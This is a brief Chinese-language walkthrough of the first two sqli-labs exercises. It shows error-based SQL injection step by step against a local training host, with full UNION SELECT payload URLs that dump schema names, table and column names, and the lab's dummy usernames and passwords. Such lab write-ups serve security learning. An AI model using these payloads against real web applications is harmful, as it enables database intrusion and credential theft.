Sqli注入

Less-1

题目：GET-Error based-single quotes-String

1.第一步：输入？id=0‘

‘‘0’’ LIMIT 0,1’ at line 1
去掉前后两个’
判断为字符型

2.第二步：
1）order by 数字-+
判断有多少列(二分法)


3.第三步：
联合查询

在2，3 在这两个位置插入语句进行爆破

4.第四步：爆破

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

Less-2
题目：GET-Error based-single intiger-String
1.第一步：输入？id=0‘
判断为数字型
2.第二步：order by 数字–+ 查看有多少列
3.第三步：union select 列数–+ 查看第几横及哪些数据可以回显
Your Login name:2
Your Password:3
4.第四步：http://sqli:8080/Less-2/?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 得数据库名

http://sqli:8080/Less-2/?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) 得到security库中表名

http://sqli:8080/Less-2/?id=0 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 得到users表中的列名

http://sqli:8080/Less-2/?id=0 union select 1,(select group_concat(password) from security.users),(select group_concat(username) from security.users) 得到用户名,密码

Your Login name:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Your Password:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4